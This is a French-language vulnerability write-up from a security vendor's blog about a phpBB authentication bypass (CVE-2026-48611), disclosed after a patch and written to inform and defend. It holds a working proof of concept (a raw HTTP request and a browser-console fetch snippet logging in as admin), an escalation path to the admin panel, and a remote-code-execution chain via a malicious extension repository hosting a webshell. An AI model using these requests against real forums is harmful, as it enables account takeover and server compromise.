Le 10 juin, nous avons annoncé une vulnérabilité critique dans phpBB qui permet aux attaquants de contourner l'authentification, désormais connue sous le nom de CVE-2026-48611. Cet article est un suivi, contenant des détails techniques qui expliquent les scénarios d'exploitation et les méthodes de détection.
Pour vous mettre à jour, phpBB est un ancien logiciel de forum qui est encore utilisé aujourd'hui par diverses communautés techniques. La vitrine des sites phpBB compte à elle seule plus de 6 millions de membres. Bien qu'il y ait eu des attaques notoires par le passé, comme le ver « Santy » en 2004, de nos jours, ils n'ont pas eu beaucoup de problèmes de vulnérabilités. Cette divulgation rompt cette tendance.
Lors de nos recherches pour améliorer notre produit de pentest IA, les agents d'Aikido Attack nous ont signalé un « contournement d'authentification critique » dans phpBB. Nous étions légèrement sceptiques au début. Sûrement s'agissait-il d'une erreur de configuration ou d'un cas limite que nous avions mal géré lors de l'installation. Mais la vérité était tout autre.
La vulnérabilité découverte fonctionne dans la configuration par défaut, ne nécessitant qu'une seule requête non authentifiée pour se connecter entièrement à n'importe quel compte arbitraire. Se connecter à un compte administrateur pourrait vous donner le contrôle de l'ensemble du forum !
Après avoir remarqué cela, nous avons immédiatement signalé la vulnérabilité sur HackerOne et avons reçu la confirmation qu'elle avait été triée en moins de 9 minutes !
Quatre jours plus tard, un correctif est sorti dans la version 3.3.17 corrigeant la vulnérabilité. Si vous gérez un forum phpBB, mettez à jour vers cette version dès que possible si ce n'est pas déjà fait.
Nous allons maintenant nous pencher sur les parties du code qui étaient vulnérables et comment elles ont pu être exploitées. Spoiler : ce n'est pas l'exploit incroyablement compliqué auquel vous pourriez vous attendre…
Contournement d'authentification
Tout cela est lié à la manière exacte dont la procédure de connexion fonctionne dans phpBB. Pas le flux de connexion principal, mais spécifiquement la fonctionnalité « login-link ». Lors de la connexion à des services externes comme Google ou GitHub OAuth, cette fonctionnalité sert à lier le compte à un compte existant sur l'instance phpBB ou à en enregistrer un nouveau.
Si vous choisissez de le connecter à un compte existant, il vous demande de vous connecter à votre compte avec le mode=login_link paramètre de requête. La soumission de ceci connectera ensuite le compte OAuth après votre connexion.
Le callback est géré par ucp_login_link.php et recherche d'abord login_link_* données comme paramètres de requête, qui ne doivent pas être vides. Celles-ci sont extraites ici :
class ucp_login_link {
function main($id, $mode) {
...
$data = $this->get_login_link_data_array();
if (empty($data)) {
$login_link_error = $user->lang['LOGIN_LINK_NO_DATA_PROVIDED'];
}
...
}
}
protected function get_login_link_data_array() {
...
foreach ($var_names as $var_name) {
if (strpos($var_name, 'login_link_') === 0) {
$key_name = substr($var_name, $string_start_length);
$login_link_data[$key_name] = $request->variable($var_name, '', false, \phpbb\request\request_interface::GET);
}
}Heureusement, il est facile de contourner cela en ajoutant des données factices comme login_link_aikido=1. $data non vide, et nous pouvons continuer le flux.
Plus loin dans le code, nous commençons à remarquer quelque chose de particulier. Nous avons le contrôle sur le auth_provider paramètre de requête :
// Utiliser le auth_provider demandé même s'il est différent de celui configuré
$provider_collection = $phpbb_container->get('auth.provider_collection');
$auth_provider = $provider_collection->get_provider($request->variable('auth_provider', ''));La valeur est normalement définie uniquement sur oauth, mais nous pouvons le contrôler entièrement. Il est censé indiquer au serveur phpBB quel fournisseur doit être utilisé pour vérifier l'authentification, par exemple, si vous avez configuré à la fois une base de données locale et une authentification OAuth. Mais que se passe-t-il lorsque nous fournissons d'autres valeurs ?
phpBB les définit tous comme des classes sous phpbb/auth/provider. Il y en a un nommé apache.php qui est très simple, un peu trop simple :
class apache extends base {
public function login($username, $password) {
$php_auth_user = html_entity_decode($this->request->server('PHP_AUTH_USER'), ENT_COMPAT);
$php_auth_pw = html_entity_decode($this->request->server('PHP_AUTH_PW'), ENT_COMPAT);
if (!empty($php_auth_user) && !empty($php_auth_pw)) {
// Basic auth username must match submitted username
if ($php_auth_user !== $username) {
return array('status' => LOGIN_ERROR_USERNAME, ...);
}
// Look up user in database
$sql = 'SELECT user_id, username, user_password, user_passchg, user_email, user_type
FROM ' . USERS_TABLE . "
WHERE username = '" . $this->db->sql_escape($php_auth_user) . "'";
$result = $this->db->sql_query($sql);
$row = $this->db->sql_fetchrow($result);
$this->db->sql_freeresult($result);
if ($row) {
// User inactive
if ($row['user_type'] == USER_INACTIVE || $row['user_type'] == USER_IGNORE) {
return array('status' => LOGIN_ERROR_ACTIVE, ...);
}
// Successful login
return array('status' => LOGIN_SUCCESS, ...);
}Il vérifie que le nom d'utilisateur envoyé correspond à PHP_AUTH_USER (décodé Basique nom d'utilisateur d'authentification), recherche l'utilisateur, puis renvoie simplement LOGIN_SUCCESS. Mais il manque une chose : une vérification du mot de passe !
Félicitations, vous venez de découvrir un contournement d'authentification critique sur phpBB ! En choisissant un fournisseur inattendu comme apache, nous pouvons ignorer le mot de passe et nous connecter en tant que n'importe quel utilisateur.
Maintenant, pour dissiper toute confusion, les mainteneurs n'ont pas simplement « oublié » d'ajouter une vérification de mot de passe ici. La fonctionnalité prévue du apache fournisseur suppose que l'authentification est gérée par le proxy Apache avec .htpasswd, et chaque requête doit d'abord passer par lui. phpBB fait simplement confiance au nom d'utilisateur qui arrive dans l'en-tête d'authentification Basic dans ce cas.
Ce que nous avons fait ici, c'est déclencher le apache fournisseur sans qu'Apache n'ait besoin d'être configuré, grâce à une fonctionnalité conçue uniquement pour oauth. Dans ce cas, le client devient directement le « proxy de confiance », et nous pouvons envoyer le nom d'utilisateur qu'il souhaite.
Ainsi, nous pouvons effectuer une requête qui déclenche le flux de lien de connexion avec des données valides et un nom d'utilisateur de notre choix, mais en configurant le gestionnaire sur apache pour ignorer la vérification du mot de passe. Les noms d'utilisateur ne sont pas difficiles à trouver sur les instances phpBB, ce qui facilite la connexion en tant qu'administrateur ou modérateur.
Tout cela fonctionne dans la configuration par défaut de phpBB, ce qui le rend d'autant plus dangereux.
Preuve de concept
Reproduire cette vulnérabilité n'est pas difficile. Sur toute instance phpBB locale, la requête HTTP suivante montre un contournement pour se connecter à l' administrateur utilisateur (encodé en Base64 dans l'en-tête Autorisation : comme admin:x à YWRtaW46eA==).
POST /ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1 HTTP/1.1
Host: phpbb.local
Content-Length: 49
Authorization: Basic YWRtaW46eA==
Content-Type: application/x-www-form-urlencoded
login_username=admin&login_password=x&login=LoginUne réponse réussie définit les cookies et redirige vers la page d'accueil. L'attaquant est alors entièrement connecté au compte ciblé.
HTTP/1.1 302 Found
Server: Apache/2.4.67 (Debian)
X-Powered-By: PHP/8.2.31
Set-Cookie: phpbb_f4xf4_u=1; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_k=; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_sid=4c512fa6d44b00f3fe760603e7a84257; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_u=2; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_k=; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_sid=5e331defa66c2fc6db386f7c9abd0c55; path=/; domain=phpbb.local; HttpOnly
Location: http://phpbb.local/index.php/
Content-Length: 0
Content-Type: text/html; charset=UTF-8Pour générer la requête ci-dessus, le code JavaScript suivant peut être exécuté dans la console des outils de développement de n'importe quelle instance :
const TARGET_USER = "admin";
await fetch('/ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1', {
method: "POST",
headers: {
Authorization: `Basic ${btoa(TARGET_USER + ":x")}`
},
body: new URLSearchParams({login_username: TARGET_USER, login_password: "x", login: "Login"})
});Le rechargement de la page web par la suite montre que l'attaquant est connecté au compte ciblé :
Escalade vers le panneau de contrôle d'administration
Nous sommes connectés au compte administrateur et pouvons publier n'importe quoi en nous faisant passer pour eux, mais si nous essayons de gérer le forum via le panneau de contrôle d'administration, nous rencontrons une deuxième vérification de mot de passe :
Le panneau vérifie à nouveau si nous avons le mot de passe de l'utilisateur alors que nous sommes déjà connectés. Bien que le premier réflexe puisse être d'utiliser à nouveau notre exploit pour contourner cette vérification de connexion également, celle-ci a une implémentation complètement distincte qui n'est pas vulnérable au même problème. Nous avons besoin d'un mot de passe pour accéder à ce panneau.
Pour cette raison, le mainteneur de phpBB et Aikido ont initialement pensé que l'impact de ce problème était limité à l'usurpation d'identité d'utilisateurs arbitraires.
Juste après avoir partagé cet article de blog sur X, l'utilisateur "Labomen" a mentionné qu'une escalade était possible depuis le panneau de contrôle utilisateur (UCP, essentiellement "paramètres personnels") vers le panneau de contrôle d'administration (ACP) en tant qu'administrateur sans avoir besoin d'un mot de passe.
> L'accès à l'ACP peut être obtenu trivialement car presque toujours sur les vrais forums, vous pouvez simplement vous connecter en tant qu'administrateur dans le groupe d'administrateurs principal avec le rôle de fondateur, créer un nouveau compte utilisateur que vous possédez, en faire un administrateur (oui, ajouter quelqu'un à un groupe n'a PAS besoin de l'ACP), puis vous vous connectez simplement avec votre compte et accédez à l'ACP puisque vous connaissez le mot de passe.
C'était préoccupant. Nous avons rapidement reproduit l'idée localement et confirmé que c'était bien le cas ! L' utilisateur fondateur est le premier utilisateur enregistré sur l'instance phpBB, et possède le rôle ADMINISTRATEURS par défaut. Plus précisément, cette combinaison de permissions est exploitable car le fondateur peut ajouter d'autres utilisateurs au groupe administrateur. Non seulement cela, mais il peut le faire depuis le panneau de contrôle utilisateur!
L'attaquant peut créer un compte pour lui-même, puis accorder à ce compte des privilèges d'administrateur via ce panneau Ajouter des utilisateurs.
Ensuite, ils voient le lien Panneau de contrôle d'administration sur leur propre compte, et comme c'est leur compte, ils connaissent le mot de passe pour se connecter entièrement.
À partir de là, l'instance entière est compromise. Tous les paramètres peuvent être modifiés. Mais pour aller encore plus loin, nous pouvons également avoir un impact sur le système sous-jacent.
Exécution de code à distance
Ce qui suit n'est possible que sur la branche bêta 4.x, et non sur la branche 3.x la plus courante. Cependant, nous voulions tout de même montrer l'impact total de cette vulnérabilité.
Dans la version 4.0.0-a2, un catalogue d'extensions a été ajouté, remplaçant la méthode manuelle d'installation des extensions phpBB via le système de fichiers.
Les extensions n'ont plus besoin d'être copiées manuellement dans le dossier ext/ ; à la place, vous pouvez configurer des URL de dépôts et les récupérer directement depuis l'interface utilisateur web !
Bien que cela offre une bonne expérience d'administration, cette fonctionnalité comporte un risque. Cela signifie que tout administrateur compromis sur le web peut soudainement installer des extensions arbitraires. Non seulement à partir de sources fiables, mais aussi en configurant les paramètres, à partir de n'importe quelle URL ajoutée aux Dépôts :
Après avoir enregistré les paramètres, une requête vers https://attacker.tld/packages.json est effectuée pour récupérer toutes les extensions disponibles. L'attaquant peut renvoyer une liste d'extensions qu'il prétend héberger, lesquelles sont ensuite affichées dans le catalogue. À partir de là, en tant qu'administrateur, l'attaquant peut installer son extension malveillante pour que des fichiers PHP arbitraires soient écrits dans le dossier ext/.
Nous avons créé un serveur malveillant pour héberger une extension avec un webshell, et une fois configuré, il affiche l'extension de l'attaquant listée :
Après l'avoir installée et activée, l'attaquant peut naviguer vers son webshell pour réaliser une exécution de code à distance non authentifiée (Unauthenticated Remote Code Execution) sur la configuration par défaut de la dernière version :
Indicateurs de compromission
Vérifiez les journaux de requêtes pour les requêtes POST qui contiennent auth_provider=apache et mode=login_link paramètres de requête combinés. C'est l'exploit le plus courant. Voir l'exemple de requête ci-dessus.
Cependant, notez que, étant donné que phpBB lit également les deux paramètres du corps de la requête POST, ces paramètres ont priorité sur les paramètres GET. Une requête de contournement de filtre peut alors ressembler à une requête normale de mode=login, tout en exécutant en réalité mode=login_link dans le corps. login_link_* reste un paramètre de requête requis, il peut donc être utilisé comme indicateur d'une requête suspecte, puis analysé manuellement plus en détail. Cela peut ressembler à ceci :
POST /ucp.php?mode=login&login_link_ANYTHING=1 HTTP/1.1
Host: phpbb.local
Content-Length: 86
Content-Type: application/x-www-form-urlencoded
Authorization: Basic YWRtaW46eA==
login_username=admin&login_password=x&mode=login_link&auth_provider=apache&login=LoginC'est le genre de vulnérabilité que Aikido Attack détecte lors d'une exécution normale. Il recherche les contournements d'authentification, les IDORs et les failles logiques comme le ferait un véritable attaquant, puis valide chacun d'eux afin que vous ne voyiez que ce qui est réellement exploitable. Pointez-le vers vos propres applications et sécurisez-les rapidement.
Chronologie
- 2 juin 2026 20h22 - Rapport soumis au programme VDP https://hackerone.com/phpbb
- 2 juin 2026 20h31 - Le rapport a été trié par le personnel de phpBB (oui, seulement 9 minutes !)
- 6 juin 2026 16h26 - La version 3.3.17 avec un correctif est publiée
- 10 juin 2026 12h33 - Nous publions une annonce initiale pour avertir les utilisateurs
- 10 juin 2026 19h33 - Les mainteneurs de phpBB nous demandent d'attendre 4 semaines avant de publier les détails techniques
- 4 juillet 2026 2h45 - Ce compte-rendu technique est publié
